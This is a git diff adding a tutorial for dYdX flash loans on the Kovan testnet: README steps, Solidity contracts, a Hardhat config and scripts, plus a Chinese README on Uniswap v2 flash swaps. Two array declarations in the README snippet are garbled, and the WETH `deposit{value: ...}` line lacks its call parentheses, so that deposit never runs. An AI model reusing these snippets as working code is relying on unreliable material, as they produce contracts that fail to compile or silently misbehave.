+If we want to use the flash loan in DyDx, our contract needs to inherit `DydxFlashloanBase`, and implement two functions: 
+1. An entry function, you can call this function to initiate a flash loan, we name it as `initiateFlashLoan`.
+
+2. A callback function `callFunction`, in here we execute operations after we had loaned, like some codes about arbitrage.
+
+```js
+function initiateFlashLoan(address _solo, address _token, uint256 _amount) external {
+    ISoloMargin solo = ISoloMargin(_solo);
+
+    // Get marketId from token address
+    uint256 marketId = _getMarketIdFromTokenAddress(_solo, _token); // (1)
+
+    uint256 repayAmount = _getRepaymentAmountInternal(_amount);
+    IERC20(_token).approve(_solo, repayAmount);
+
+    Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3 "] memory operations = new Actions.ActionArgs["); // (2)
+
+    operations[0] = _getWithdrawAction(marketId, _amount); // (3)
+    operations[1] = _getCallAction(
+        // Encode MyCustomData for callFunction
+        abi.encode(MyCustomData({token: _token, repayAmount: repayAmount}))
+    ); // (4)
+    operations[2] = _getDepositAction(marketId, repayAmount); // (5)
+
+    Account.Info[] memory accountInfos = new Account.Info[](1 "] memory accountInfos = new Account.Info[");
+    accountInfos[0] = _getAccountInfo();
+
+    solo.operate(accountInfos, operations);
+}
+```
+
+The `initiateFlashLoan` needs three parameters, `_solo` is the address of ISoloMargin, `_token` is the token address we want to loan, `_amount` is the number of all we want to loan.
+
+1. get `marketId` by `_solo` and `_token` 
+
+2. initialize Actions, the length of Array is 3, which is execute 3 actions and the order of execution will follow the sequence in Array.
+
+3. execute loan operations
+
+4. execute the logic of arbitrage, which is `callFunction` that we will intro after time
+
+5. execute repay operation, we don't need to change codes in `initiateFlashLoan` a lot.
+
+### callFunction callback api  
+
+```js
+function callFunction(
+    address sender,
+    Account.Info memory account,
+    bytes memory data
+) public {
+    MyCustomData memory mcd = abi.decode(data, (MyCustomData));
+    uint256 balOfLoanedToken = IERC20(mcd.token).balanceOf(address(this)); // (1)
+      // logic of arbitrage
+     // logic of arbitrage
+    // logic of arbitrage
+    WETH9(kovanWETHAddr).deposit{value: balOfLoanedToken.add(2)}; // (2)
+
+    uint256 newBal = IERC20(mcd.token).balanceOf(address(this)); // (3)
+
+    require( // (4)
+        newBal >= mcd.repayAmount,
+        "Not enough funds to repay dydx loan!"
+    );
+
+}
+```
+
+We defined 3 actions in `initiateFlashLoan`, and the implementation of the second one is `callFunction`. If we borrow WETH and return it back.
+
+(1) Get the amount of token we borrowed
+(2) When we repay it, the amount needs to be 2 wei more than the number we borrowed before(at least 2 wei), WETH9(kovanWETHAddr).deposit used to charge weth, to translate normal eth to weth, we just use deposit is enough. 
+(3)～(4) Get a new balance, and check whether it is greater than the amount we had borrowed, then it can be called success.
+
+Hence, we also need to import the interface of WETH.
+
+```js
+interface WETH9 {
+    function deposit() external payable;
+    function withdraw(uint wad) external;
+}
+```
+
+## Steps  
+- Install dependencies  
+```shell
+yarn
+```
+
+- Config the envrioument  
+```shell
+cp .env.example .env
+# set INFURA_ID , PRIVATE_KEY in .env
+```
+
+- Deploy the contract  
+```shell
+npx hardhat run scripts/deploy.js --network kovan
+```
+
+- Start flashloan  
+```shell
+npx hardhat run scripts/dydxFlashloaner.js --network kovan
+```
+
+## Additional Remarks
+After we deployed the contract, we also need to transfer an amount of WETH to the contract address, then the flash loan can be executed successfully, as to how to transfer between eth and weth, you will get it by checking https://kovan.etherscan.io/address/0xd0A1E359811322d97991E03f863a0C30C2cF029C#writeContract.  
+The flash loan operation in DyDx do more complicated than in Aave, but lower to 2 wei service charge, which is quite attractive.
+
+## Reference link  
+
+- dydx.exchange: https://help.dydx.exchange/en/articles/3724602-flash-loans    
+
+- DyDx Flash Loan： https://www.youtube.com/watch?v=HKx89FhZNls  
+
+- solo-operations： https://legacy-docs.dydx.exchange/#solo-protocol   
+
+- Source codes of DydxFlashloanBase.sol : https://github.com/studydefi/money-legos/tree/master/src/dydx  
+- Example: https://kovan.etherscan.io/address/0x3cc064c6a0b8629a05f38bc57b6a290ac9489e38#code   
diff --git a/basic/20-flash-loan/dydx/contracts/DydxFlashloaner.sol b/basic/20-flash-loan/dydx/contracts/DydxFlashloaner.sol
new file mode 100644
index 000000000..f2d68432e
--- /dev/null
+++ b/basic/20-flash-loan/dydx/contracts/DydxFlashloaner.sol
@@ -0,0 +1,87 @@
+pragma solidity ^0.8.0;
+pragma experimental ABIEncoderV2;
+
+import './lib/DydxFlashloanBase.sol';
+import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
+import '@openzeppelin/contracts/utils/math/SafeMath.sol';
+
+interface WETH9 {
+    function deposit() external payable;
+
+    function withdraw(uint256 wad) external;
+}
+
+contract DydxFlashloaner is DydxFlashloanBase {
+    using SafeMath for uint256;
+    address public owner;
+
+    address public dydxSoloMarginAddr = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
+    address public WETHAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
+
+    address public kovanDydxSoloMarginAddr = 0x4EC3570cADaAEE08Ae384779B0f3A45EF85289DE;
+    address public kovanWETHAddr = 0xd0A1E359811322d97991E03f863a0C30C2cF029C;
+
+    constructor() public {
+        owner = msg.sender;
+    }
+
+    struct MyCustomData {
+        address token;
+        uint256 repayAmount;
+    }
+
+    function callFunction(
+        address sender,
+        Account.Info memory account,
+        bytes memory data
+    ) public {
+        MyCustomData memory mcd = abi.decode(data, (MyCustomData));
+        uint256 balOfLoanedToken = IERC20(mcd.token).balanceOf(address(this));
+
+        // Note that you can ignore the line below
+        // if your dydx account (this contract in this case)
+        // has deposited at least ~2 Wei of assets into the account
+        // to balance out the collaterization ratio
+
+        WETH9(kovanWETHAddr).deposit{value: balOfLoanedToken.add(2)};
+        uint256 newBal = IERC20(mcd.token).balanceOf(address(this));
+
+        require(newBal >= mcd.repayAmount, 'Not enough funds to repay dydx loan!');
+    }
+
+    // _solo  = dydxAddr
+    // _token = WETHAddr
+    // _amount 借贷数量
+    function initiateFlashLoan(
+        address _solo,
+        address _token,
+        uint256 _amount
+    ) external {
+        ISoloMargin solo = ISoloMargin(_solo);
+
+        // Get marketId from token address
+        uint256 marketId = _getMarketIdFromTokenAddress(_solo, _token);
+
+        // Calculate repay amount (_amount + (2 wei))
+        // Approve transfer from
+        uint256 repayAmount = _getRepaymentAmountInternal(_amount);
+        IERC20(_token).approve(_solo, repayAmount);
+
+        // 1. Withdraw $
+        // 2. Call callFunction(...)
+        // 3. Deposit back $
+        Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3);
+
+        operations[0] = _getWithdrawAction(marketId, _amount);
+        operations[1] = _getCallAction(
+            // Encode MyCustomData for callFunction
+            abi.encode(MyCustomData({token: _token, repayAmount: repayAmount}))
+        );
+        operations[2] = _getDepositAction(marketId, repayAmount);
+
+        Account.Info[] memory accountInfos = new Account.Info[](1);
+        accountInfos[0] = _getAccountInfo();
+
+        solo.operate(accountInfos, operations);
+    }
+}
diff --git a/basic/20-flash-loan/dydx/contracts/interfaces/IWETH9.sol b/basic/20-flash-loan/dydx/contracts/interfaces/IWETH9.sol
new file mode 100644
index 000000000..fb732754d
--- /dev/null
+++ b/basic/20-flash-loan/dydx/contracts/interfaces/IWETH9.sol
@@ -0,0 +1,15 @@
+pragma solidity ^0.8.0;
+
+interface IWETH9 {
+    function deposit() external payable;
+    function withdraw(uint wad) external;
+
+    function totalSupply() external view returns (uint);
+
+    function approve(address guy, uint wad) external returns (bool);
+
+    function transfer(address dst, uint wad) external returns (bool);
+
+    function transferFrom(address src, address dst, uint wad) external returns (bool);
+
+}
\ No newline at end of file
diff --git a/basic/20-flash-loan/dydx/contracts/lib/DydxFlashloanBase.sol b/basic/20-flash-loan/dydx/contracts/lib/DydxFlashloanBase.sol
new file mode 100644
index 000000000..2746a7a31
--- /dev/null
+++ b/basic/20-flash-loan/dydx/contracts/lib/DydxFlashloanBase.sol
@@ -0,0 +1,117 @@
+pragma solidity ^0.8.0;
+pragma experimental ABIEncoderV2;
+
+import '@openzeppelin/contracts/utils/math/SafeMath.sol';
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+import "./ISoloMargin.sol";
+
+contract DydxFlashloanBase {
+    using SafeMath for uint256;
+
+    // -- Internal Helper functions -- //
+
+    function _getMarketIdFromTokenAddress(address _solo, address token)
+        internal
+        view
+        returns (uint256)
+    {
+        ISoloMargin solo = ISoloMargin(_solo);
+
+        uint256 numMarkets = solo.getNumMarkets();
+
+        address curToken;
+        for (uint256 i = 0; i < numMarkets; i++) {
+            curToken = solo.getMarketTokenAddress(i);
+
+            if (curToken == token) {
+                return i;
+            }
+        }
+
+        revert("No marketId found for provided token");
+    }
+
+    function _getRepaymentAmountInternal(uint256 amount)
+        internal
+        view
+        returns (uint256)
+    {
+        // Needs to be overcollateralize
+        // Needs to provide +2 wei to be safe
+        return amount.add(2);
+    }
+
+    function _getAccountInfo() internal view returns (Account.Info memory) {
+        return Account.Info({owner: address(this), number: 1});
+    }
+
+    function _getWithdrawAction(uint marketId, uint256 amount)
+        internal
+        view
+        returns (Actions.ActionArgs memory)
+    {
+        return
+            Actions.ActionArgs({
+                actionType: Actions.ActionType.Withdraw,
+                accountId: 0,
+                amount: Types.AssetAmount({
+                    sign: false,
+                    denomination: Types.AssetDenomination.Wei,
+                    ref: Types.AssetReference.Delta,
+                    value: amount
+                }),
+                primaryMarketId: marketId,
+                secondaryMarketId: 0,
+                otherAddress: address(this),
+                otherAccountId: 0,
+                data: ""
+            });
+    }
+
+    function _getCallAction(bytes memory data)
+        internal
+        view
+        returns (Actions.ActionArgs memory)
+    {
+        return
+            Actions.ActionArgs({
+                actionType: Actions.ActionType.Call,
+                accountId: 0,
+                amount: Types.AssetAmount({
+                    sign: false,
+                    denomination: Types.AssetDenomination.Wei,
+                    ref: Types.AssetReference.Delta,
+                    value: 0
+                }),
+                primaryMarketId: 0,
+                secondaryMarketId: 0,
+                otherAddress: address(this),
+                otherAccountId: 0,
+                data: data
+            });
+    }
+
+    function _getDepositAction(uint marketId, uint256 amount)
+        internal
+        view
+        returns (Actions.ActionArgs memory)
+    {
+        return
+            Actions.ActionArgs({
+                actionType: Actions.ActionType.Deposit,
+                accountId: 0,
+                amount: Types.AssetAmount({
+                    sign: true,
+                    denomination: Types.AssetDenomination.Wei,
+                    ref: Types.AssetReference.Delta,
+                    value: amount
+                }),
+                primaryMarketId: marketId,
+                secondaryMarketId: 0,
+                otherAddress: address(this),
+                otherAccountId: 0,
+                data: ""
+            });
+    }
+}
diff --git a/basic/20-flash-loan/dydx/contracts/lib/ISoloMargin.sol b/basic/20-flash-loan/dydx/contracts/lib/ISoloMargin.sol
new file mode 100644
index 000000000..69d647aa6
--- /dev/null
+++ b/basic/20-flash-loan/dydx/contracts/lib/ISoloMargin.sol
@@ -0,0 +1,455 @@
+pragma solidity ^0.8.0;
+pragma experimental ABIEncoderV2;
+
+library Account {
+    enum Status {Normal, Liquid, Vapor}
+    struct Info {
+        address owner; // The address that owns the account
+        uint256 number; // A nonce that allows a single address to control many accounts
+    }
+    struct Storage {
+        mapping(uint256 => Types.Par) balances; // Mapping from marketId to principal
+        Status status;
+    }
+}
+
+
+library Actions {
+    enum ActionType {
+        Deposit, // supply tokens
+        Withdraw, // borrow tokens
+        Transfer, // transfer balance between accounts
+        Buy, // buy an amount of some token (publicly)
+        Sell, // sell an amount of some token (publicly)
+        Trade, // trade tokens against another account
+        Liquidate, // liquidate an undercollateralized or expiring account
+        Vaporize, // use excess tokens to zero-out a completely negative account
+        Call // send arbitrary data to an address
+    }
+
+    enum AccountLayout {OnePrimary, TwoPrimary, PrimaryAndSecondary}
+
+    enum MarketLayout {ZeroMarkets, OneMarket, TwoMarkets}
+
+    struct ActionArgs {
+        ActionType actionType;
+        uint256 accountId;
+        Types.AssetAmount amount;
+        uint256 primaryMarketId;
+        uint256 secondaryMarketId;
+        address otherAddress;
+        uint256 otherAccountId;
+        bytes data;
+    }
+
+    struct DepositArgs {
+        Types.AssetAmount amount;
+        Account.Info account;
+        uint256 market;
+        address from;
+    }
+
+    struct WithdrawArgs {
+        Types.AssetAmount amount;
+        Account.Info account;
+        uint256 market;
+        address to;
+    }
+
+    struct TransferArgs {
+        Types.AssetAmount amount;
+        Account.Info accountOne;
+        Account.Info accountTwo;
+        uint256 market;
+    }
+
+    struct BuyArgs {
+        Types.AssetAmount amount;
+        Account.Info account;
+        uint256 makerMarket;
+        uint256 takerMarket;
+        address exchangeWrapper;
+        bytes orderData;
+    }
+
+    struct SellArgs {
+        Types.AssetAmount amount;
+        Account.Info account;
+        uint256 takerMarket;
+        uint256 makerMarket;
+        address exchangeWrapper;
+        bytes orderData;
+    }
+
+    struct TradeArgs {
+        Types.AssetAmount amount;
+        Account.Info takerAccount;
+        Account.Info makerAccount;
+        uint256 inputMarket;
+        uint256 outputMarket;
+        address autoTrader;
+        bytes tradeData;
+    }
+
+    struct LiquidateArgs {
+        Types.AssetAmount amount;
+        Account.Info solidAccount;
+        Account.Info liquidAccount;
+        uint256 owedMarket;
+        uint256 heldMarket;
+    }
+
+    struct VaporizeArgs {
+        Types.AssetAmount amount;
+        Account.Info solidAccount;
+        Account.Info vaporAccount;
+        uint256 owedMarket;
+        uint256 heldMarket;
+    }
+
+    struct CallArgs {
+        Account.Info account;
+        address callee;
+        bytes data;
+    }
+}
+
+
+library Decimal {
+    struct D256 {
+        uint256 value;
+    }
+}
+
+
+library Interest {
+    struct Rate {
+        uint256 value;
+    }
+
+    struct Index {
+        uint96 borrow;
+        uint96 supply;
+        uint32 lastUpdate;
+    }
+}
+
+
+library Monetary {
+    struct Price {
+        uint256 value;
+    }
+    struct Value {
+        uint256 value;
+    }
+}
+
+
+library Storage {
+    // All information necessary for tracking a market
+    struct Market {
+        // Contract address of the associated ERC20 token
+        address token;
+        // Total aggregated supply and borrow amount of the entire market
+        Types.TotalPar totalPar;
+        // Interest index of the market
+        Interest.Index index;
+        // Contract address of the price oracle for this market
+        address priceOracle;
+        // Contract address of the interest setter for this market
+        address interestSetter;
+        // Multiplier on the marginRatio for this market
+        Decimal.D256 marginPremium;
+        // Multiplier on the liquidationSpread for this market
+        Decimal.D256 spreadPremium;
+        // Whether additional borrows are allowed for this market
+        bool isClosing;
+    }
+
+    // The global risk parameters that govern the health and security of the system
+    struct RiskParams {
+        // Required ratio of over-collateralization
+        Decimal.D256 marginRatio;
+        // Percentage penalty incurred by liquidated accounts
+        Decimal.D256 liquidationSpread;
+        // Percentage of the borrower's interest fee that gets passed to the suppliers
+        Decimal.D256 earningsRate;
+        // The minimum absolute borrow value of an account
+        // There must be sufficient incentivize to liquidate undercollateralized accounts
+        Monetary.Value minBorrowedValue;
+    }
+
+    // The maximum RiskParam values that can be set
+    struct RiskLimits {
+        uint64 marginRatioMax;
+        uint64 liquidationSpreadMax;
+        uint64 earningsRateMax;
+        uint64 marginPremiumMax;
+        uint64 spreadPremiumMax;
+        uint128 minBorrowedValueMax;
+    }
+
+    // The entire storage state of Solo
+    struct State {
+        // number of markets
+        uint256 numMarkets;
+        // marketId => Market
+        mapping(uint256 => Market) markets;
+        // owner => account number => Account
+        mapping(address => mapping(uint256 => Account.Storage)) accounts;
+        // Addresses that can control other users accounts
+        mapping(address => mapping(address => bool)) operators;
+        // Addresses that can control all users accounts
+        mapping(address => bool) globalOperators;
+        // mutable risk parameters of the system
+        RiskParams riskParams;
+        // immutable risk limits of the system
+        RiskLimits riskLimits;
+    }
+}
+
+
+library Types {
+    enum AssetDenomination {
+        Wei, // the amount is denominated in wei
+        Par // the amount is denominated in par
+    }
+
+    enum AssetReference {
+        Delta, // the amount is given as a delta from the current value
+        Target // the amount is given as an exact number to end up at
+    }
+
+    struct AssetAmount {
+        bool sign; // true if positive
+        AssetDenomination denomination;
+        AssetReference ref;
+        uint256 value;
+    }
+
+    struct TotalPar {
+        uint128 borrow;
+        uint128 supply;
+    }
+
+    struct Par {
+        bool sign; // true if positive
+        uint128 value;
+    }
+
+    struct Wei {
+        bool sign; // true if positive
+        uint256 value;
+    }
+}
+
+
+abstract contract ISoloMargin { //
+    struct OperatorArg {
+        address operator;
+        bool trusted;
+    }
+
+    function ownerSetSpreadPremium(
+        uint256 marketId,
+        Decimal.D256 memory spreadPremium
+    ) public virtual;
+
+    function getIsGlobalOperator(address operator) public virtual view returns (bool);
+
+    function getMarketTokenAddress(uint256 marketId)
+        public
+        virtual
+        view
+        returns (address);
+
+    function ownerSetInterestSetter(uint256 marketId, address interestSetter)
+        public virtual;
+
+    function getAccountValues(Account.Info memory account)
+        public
+        virtual
+        view
+        returns (Monetary.Value memory, Monetary.Value memory);
+
+    function getMarketPriceOracle(uint256 marketId)
+        public
+        virtual
+        view
+        returns (address);
+
+    function getMarketInterestSetter(uint256 marketId)
+        public
+        virtual
+        view
+        returns (address);
+
+    function getMarketSpreadPremium(uint256 marketId)
+        public
+        virtual
+        view
+        returns (Decimal.D256 memory);
+
+    function getNumMarkets() public virtual view returns (uint256);
+
+    function ownerWithdrawUnsupportedTokens(address token, address recipient)
+        public virtual
+        returns (uint256);
+
+    function ownerSetMinBorrowedValue(Monetary.Value memory minBorrowedValue)
+        public virtual;
+
+    function ownerSetLiquidationSpread(Decimal.D256 memory spread) public virtual;
+
+    function ownerSetEarningsRate(Decimal.D256 memory earningsRate) public virtual;
+
+    function getIsLocalOperator(address owner, address operator)
+        public
+        virtual
+        view
+        returns (bool);
+
+    function getAccountPar(Account.Info memory account, uint256 marketId)
+        public
+        virtual
+        view
+        returns (Types.Par memory);
+
+    function ownerSetMarginPremium(
+        uint256 marketId,
+        Decimal.D256 memory marginPremium
+    ) public virtual;
+
+    function getMarginRatio() public virtual view returns (Decimal.D256 memory);
+
+    function getMarketCurrentIndex(uint256 marketId)
+        public
+        virtual
+        view
+        returns (Interest.Index memory);
+
+    function getMarketIsClosing(uint256 marketId) public virtual view returns (bool);
+
+    function getRiskParams() public virtual view returns (Storage.RiskParams memory);
+
+    function getAccountBalances(Account.Info memory account)
+        public
+        virtual
+        view
+        returns (address[] memory, Types.Par[] memory, Types.Wei[] memory);
+
+    function renounceOwnership() public virtual;
+
+    function getMinBorrowedValue() public virtual view returns (Monetary.Value memory);
+
+    function setOperators(OperatorArg[] memory args) public virtual;
+
+    function getMarketPrice(uint256 marketId) public virtual view returns (address);
+
+    function owner() public virtual view returns (address);
+
+    function isOwner() public virtual view returns (bool);
+
+    function ownerWithdrawExcessTokens(uint256 marketId, address recipient)
+        public virtual
+        returns (uint256);
+
+    function ownerAddMarket(
+        address token,
+        address priceOracle,
+        address interestSetter,
+        Decimal.D256 memory marginPremium,
+        Decimal.D256 memory spreadPremium
+    ) public virtual;
+
+    function operate(
+        Account.Info[] memory accounts,
+        Actions.ActionArgs[] memory actions
+    ) public virtual;
+
+    function getMarketWithInfo(uint256 marketId)
+        public
+        virtual
+        view
+        returns (
+            Storage.Market memory,
+            Interest.Index memory,
+            Monetary.Price memory,
+            Interest.Rate memory
+        );
+
+    function ownerSetMarginRatio(Decimal.D256 memory ratio) public virtual;
+
+    function getLiquidationSpread() public virtual view returns (Decimal.D256 memory);
+
+    function getAccountWei(Account.Info memory account, uint256 marketId)
+        public
+        virtual
+        view
+        returns (Types.Wei memory);
+
+    function getMarketTotalPar(uint256 marketId)
+        public
+        virtual
+        view
+        returns (Types.TotalPar memory);
+
+    function getLiquidationSpreadForPair(
+        uint256 heldMarketId,
+        uint256 owedMarketId
+    ) public virtual view returns (Decimal.D256 memory);
+
+    function getNumExcessTokens(uint256 marketId)
+        public
+        virtual
+        view
+        returns (Types.Wei memory);
+
+    function getMarketCachedIndex(uint256 marketId)
+        public
+        virtual
+        view
+        returns (Interest.Index memory);
+
+    function getAccountStatus(Account.Info memory account)
+        public
+        virtual
+        view
+        returns (uint8);
+
+    function getEarningsRate() public virtual view returns (Decimal.D256 memory);
+
+    function ownerSetPriceOracle(uint256 marketId, address priceOracle) public virtual;
+
+    function getRiskLimits() public virtual view returns (Storage.RiskLimits memory);
+
+    function getMarket(uint256 marketId)
+        public
+        virtual
+        view
+        returns (Storage.Market memory);
+
+    function ownerSetIsClosing(uint256 marketId, bool isClosing) public virtual;
+
+    function ownerSetGlobalOperator(address operator, bool approved) public virtual;
+
+    function transferOwnership(address newOwner) public virtual;
+
+    function getAdjustedAccountValues(Account.Info memory account)
+        public
+        virtual
+        view
+        returns (Monetary.Value memory, Monetary.Value memory);
+
+    function getMarketMarginPremium(uint256 marketId)
+        public
+        virtual
+        view
+        returns (Decimal.D256 memory);
+
+    function getMarketInterestRate(uint256 marketId)
+        public
+        virtual
+        view
+        returns (Interest.Rate memory);
+}
diff --git a/basic/20-flash-loan/dydx/hardhat.config.js b/basic/20-flash-loan/dydx/hardhat.config.js
new file mode 100644
index 000000000..f4e5b5a71
--- /dev/null
+++ b/basic/20-flash-loan/dydx/hardhat.config.js
@@ -0,0 +1,68 @@
+require("@nomiclabs/hardhat-waffle");
+require("@nomiclabs/hardhat-etherscan");
+require('dotenv').config()
+
+function mnemonic() {
+  return process.env.PRIVATE_KEY;
+}
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  defaultNetwork: "localhost",
+  solidity: {
+    version: "0.8.1",
+    settings: {
+      optimizer: {
+        enabled: true,
+        runs: 200
+      }
+    }
+  },
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: 'https://rinkeby.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    kovan: {
+      url: 'https://kovan.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    ropsten: {
+      url: 'https://ropsten.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    matic: {
+      url: "https://rpc-mumbai.maticvigil.com",
+      accounts: [mnemonic()]
+    }
+  },
+  etherscan: {
+    // Your API key for Etherscan
+    // Obtain one at https://etherscan.io/
+    apiKey: "xxxx"
+  },
+};
\ No newline at end of file
diff --git a/basic/20-flash-loan/dydx/package.json b/basic/20-flash-loan/dydx/package.json
new file mode 100644
index 000000000..38ca1f906
--- /dev/null
+++ b/basic/20-flash-loan/dydx/package.json
@@ -0,0 +1,26 @@
+{
+  "name": "dydx-flashloan",
+  "version": "0.1.0",
+  "main": "index.js",
+  "repository": "https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/basic/20-flash-loan/dydx",
+  "author": "Rebase Team",
+  "license": "BSD-3-Clause",
+  "dependencies": {
+    "@nomiclabs/hardhat-etherscan": "^3.0.3",
+    "@openzeppelin/contracts": "^4.0.0",
+    "dotenv": "^8.2.0",
+    "hardhat": "^2.0.5"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.0",
+    "chai": "^4.2.0",
+    "ethereum-waffle": "^3.0.0",
+    "ethers": "^5.0.0"
+  },
+  "scripts": {
+    "build": "npx hardhat compile",
+    "deploy:dev": "npx hardhat run scripts/deploy.js",
+    "deploy:testnet": "npx hardhat run scripts/deploy.js --network kovan"
+  }
+}
diff --git a/basic/20-flash-loan/dydx/scripts/deploy.js b/basic/20-flash-loan/dydx/scripts/deploy.js
new file mode 100644
index 000000000..c02e4222c
--- /dev/null
+++ b/basic/20-flash-loan/dydx/scripts/deploy.js
@@ -0,0 +1,23 @@
+const fs = require("fs");
+
+async function main() {
+  const DydxFlashloaner = await ethers.getContractFactory("DydxFlashloaner");
+
+  const dydxFlashloaner = await DydxFlashloaner.deploy();
+
+  console.log("contract deployed to:", dydxFlashloaner.address);
+
+  // Writer Contract address to file
+  const flashLoanAddressFile = __dirname + "/../DydxFlashloaner.json";
+  fs.writeFileSync(
+    flashLoanAddressFile,
+    JSON.stringify({ address: dydxFlashloaner.address }, undefined, 2)
+  );
+}
+
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
\ No newline at end of file
diff --git a/basic/20-flash-loan/dydx/scripts/dydxFlashloaner.js b/basic/20-flash-loan/dydx/scripts/dydxFlashloaner.js
new file mode 100644
index 000000000..e42424046
--- /dev/null
+++ b/basic/20-flash-loan/dydx/scripts/dydxFlashloaner.js
@@ -0,0 +1,40 @@
+const { ethers } = require("hardhat");
+const { expect } = require("chai");
+const { BigNumber } = require('@ethersproject/bignumber');
+const dydxFlashloanerAddress= require("../DydxFlashloaner.json");
+
+async function main() {
+    let [wallet] = await ethers.getSigners();
+    const artifactDydxFlashloaner = artifacts.readArtifactSync("DydxFlashloaner");
+    let dydxFlashloaner = new ethers.Contract(dydxFlashloanerAddress.address, artifactDydxFlashloaner.abi , wallet);
+
+    const kovanDydxSoloMarginAddr = "0x4EC3570cADaAEE08Ae384779B0f3A45EF85289DE";
+    const kovanWETHAddr = "0xd0A1E359811322d97991E03f863a0C30C2cF029C";
+    
+    const artifactWETH = artifacts.readArtifactSync("IWETH9");
+    let weth = new ethers.Contract(kovanWETHAddr, artifactWETH.abi , wallet);
+
+    // transfer eth to weth
+    let amountInEther = "0.00001"
+    let depositeRecipt = await weth.deposit({value: ethers.utils.parseEther(amountInEther)})
+    await depositeRecipt.wait()
+    console.log("Deposite to WETH contract successfully");
+
+    // transfer weth to dydxFlashloaner to pay for flashloan fee
+    let transferRecipt = await weth.transfer(dydxFlashloanerAddress.address,ethers.utils.parseEther(amountInEther));
+    await transferRecipt.wait()
+    console.log("Transfer WETH to DydxFlashloaner contract successfully")
+
+    const flashLoanRecipt = await dydxFlashloaner.initiateFlashLoan(kovanDydxSoloMarginAddr, kovanWETHAddr, BigNumber.from("1000000000000000000"));
+    await flashLoanRecipt.wait()
+
+    console.log(`Flashloan successfully, please check tx hash ${flashLoanRecipt.hash} for more details `)
+
+}
+
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
\ No newline at end of file
diff --git a/basic/20-flash-loan/uniswapv2/.env.example b/basic/20-flash-loan/uniswapv2/.env.example
new file mode 100644
index 000000000..f68d6f531
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv2/.env.example
@@ -0,0 +1,2 @@
+INFURA_ID = ""
+PRIVATE_KEY = "1111111111111111111111111111111111111111111111111111111111111111"
diff --git a/basic/20-flash-loan/uniswapv2/.gitignore b/basic/20-flash-loan/uniswapv2/.gitignore
new file mode 100644
index 000000000..3ccf4f80d
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv2/.gitignore
@@ -0,0 +1,11 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
+DydxFlashloaner.json
+UniswapFlashloaner.json
\ No newline at end of file
diff --git a/basic/20-flash-loan/uniswapv2/README-CN.md b/basic/20-flash-loan/uniswapv2/README-CN.md
new file mode 100644
index 000000000..a6d70167f
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv2/README-CN.md
@@ -0,0 +1,50 @@
+中文 / [English](./README.md)
+
+# Uniswap v2 Flashswap 介绍  
+
+Uniswap v2 版本中，就已经提供了被称作 flash swap 的闪电贷功能。即可以向一个交易对借贷 x token，但在还贷时使用 y token.
+
+falsh swap 的实现原理是：
+
+1. 借贷方可以先向合约借贷 x, y token 中某一个（或者两个都借贷）
+2. 借贷方指定借贷的数量，以及回调函数的参数，调用 flashswap
+3. 合约会先将用户请求借贷的 token 按指定数量发送给借贷方
+4. 发送完毕后，Uniswap Pair 合约会向借贷方指定的合约的地址调用指定的回调函数，并将回调函数的参数传入
+5. 调用完成后，Uniswap Pair 合约检查 x, y token 余额满足 $$ x′⋅y′≥k $$
+
+以上过程也都发生在同一个交易中。
+
+在 flashswap 中，用户可以不需要预先支付 token 就可以得到想要的 token，这部分需要支付的 token 只需要在回调函数中转回给合约即可。在 flashswap 完成后 AMM 池中的价格会发生改变（如果使用同币种还债则价格不会改变）。flash swap 可以用来进行 AMM 之间套利，借贷平台清算等操作。
+
+flashswap 类似于一个功能更强的闪电贷，一个接口即可完成借贷和交易的操作。关于 flash swap 的更多内容，可以参考 [官方文档](https://docs.uniswap.org/protocol/V2/guides/smart-contract-integration/using-flash-swaps)。  
+
+
+## 操作步骤  
+- 安装依赖  
+```shell
+yarn
+```
+
+- 配置环境变量  
+```shell
+cp .env.example .env
+# 在 .env 中配置  INFURA_ID , PRIVATE_KEY
+```
+
+- 部署合约  
+```shell
+npx hardhat run scripts/deploy_UniswapFlashloaner.js --network kovan
+```
+
+- 执行闪电贷  
+```shell
+npx hardhat run scripts/flashloan_test.js --network kovan
+```
+
+参考：  
+- 闪电贷详解：https://liaoph.com/uniswap-v3-6/   
+- uniswap-flash-swapper： https://github.com/Austin-Williams/uniswap-flash-swapper    
+- Flash Swaps： https://docs.uniswap.org/protocol/V2/guides/smart-contract-integration/using-flash-swaps     
+- FlashSwap Example: https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/examples/ExampleFlashSwap.sol     
